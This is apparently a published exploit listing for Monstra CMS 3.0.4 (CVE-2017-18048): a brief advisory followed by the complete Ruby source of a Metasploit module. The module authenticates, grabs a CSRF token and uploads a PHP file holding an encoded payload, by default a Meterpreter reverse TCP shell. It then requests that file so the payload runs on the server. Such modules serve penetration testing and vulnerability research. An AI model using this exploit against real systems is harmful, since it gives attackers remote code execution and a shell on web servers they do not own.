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Monstra CMS Authenticated Arbitrary File Upload

Monstra CMS Authenticated Arbitrary File Upload
Posted Jul 11, 2018
Authored by Touhid M.Shaikh, Ishaq Mohammed | Site metasploit.com

Monstra CMS 3.0.4 allows users to upload arbitrary files which leads to remote command execution on the remote server. An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file. This Metasploit module was tested against Monstra CMS 3.0.4.

tags | exploit, remote, arbitrary, php
advisories | CVE-2017-18048
MD5 | 7dbdf348dbb60d19f6dfcb69ab4f25d5

Monstra CMS Authenticated Arbitrary File Upload

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Monstra CMS Authenticated Arbitrary File Upload',
'Description' => %q{
MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to remote command execution on the remote server.
An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
This module was tested against MonstraCMS 3.0.4.
},

'Author' =>
[
'Ishaq Mohammed <shaikhishaq201@gmail.com>', # Discoverer & Proof of Concept
'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE','2017-18048'],
['EDB','43348'],
['URL','https://blogs.securiteam.com/index.php/archives/3559'],
['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'],
['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw']
],
'DefaultOptions' =>
{
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Monstra CMS 3.0.4', { }],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 18 2017'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base Monstra CMS directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
])
end

def check
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'admin', 'index.php') })
rescue
vprint_error("Unable to access the index.php file")
return CheckCode::Unknown
end

if res and res.code != 200
vprint_error("Error accessing the index.php file")
return CheckCode::Unknown
end

if res.body =~ /<\/a>.*?Version (\d+\.\d+\.\d+)/i
version = Gem::Version.new($1)
vulnVersion = Gem::Version.new('3.0.4')
vprint_status("Monstra CMS: #{version}")

if version > vulnVersion
return CheckCode::Safe
elsif version == vulnVersion
return CheckCode::Appears
elsif version < vulnVersion
return CheckCode::Detected
end
end
end

def uri
target_uri.path
end

def login
res = nil
vprint_status('Trying to Login ......')
# Send Creds with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'admin', 'index.php'),
'vars_post' => {
'login' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'login_submit' => 'Log+In'
}
})
cookies = res.get_cookies

fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?

# Try to access index page with authenticated cookie.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'admin' '/index.php'),
'cookie' => cookies
})
fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?

# if we redirect to core_welcome then we assume we have authenticated cookie.
if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard')
print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
return cookies
else
fail_with(Failure::Unreachable, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
end
end

def exploit
#Login Function Execute and Return Cookies
cookies = login

#Random payload name.
pay_name = "#{rand_text_alpha(5..10)}.PHP"


# Payload Gen.
evilbyte = "<?php #{payload.encoded}; ?>"

# Request for CSRF token for file upload.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'admin', '/index.php'),
'vars_get' => {'id' => 'filesmanager'},
'method' => 'GET',
'cookie' => cookies
})

# Grabbing CSRF token from body
/<input type="hidden" id="csrf" name="csrf" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::Unreachable, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("CSRF-Token for File Upload : #{csrf}")

# setup POST request.
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP"
post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"") # payload
post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"') # extra
data = post_data.to_s

vprint_status("Trying to upload file #{pay_name} with malicious content....")
# Lets Send Upload request.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'admin', '/index.php'),
'vars_get' => {'id' => 'filesmanager'},
'method' => 'POST',
'cookie' => cookies,
'Connection' => 'close',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

# Cleanup delete payload after get meterpreter.
register_files_for_cleanup(pay_name)


# Execute our payload simply call to payload.
print_status("Executing Payload " )
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'public', 'uploads', pay_name)
})

end
end

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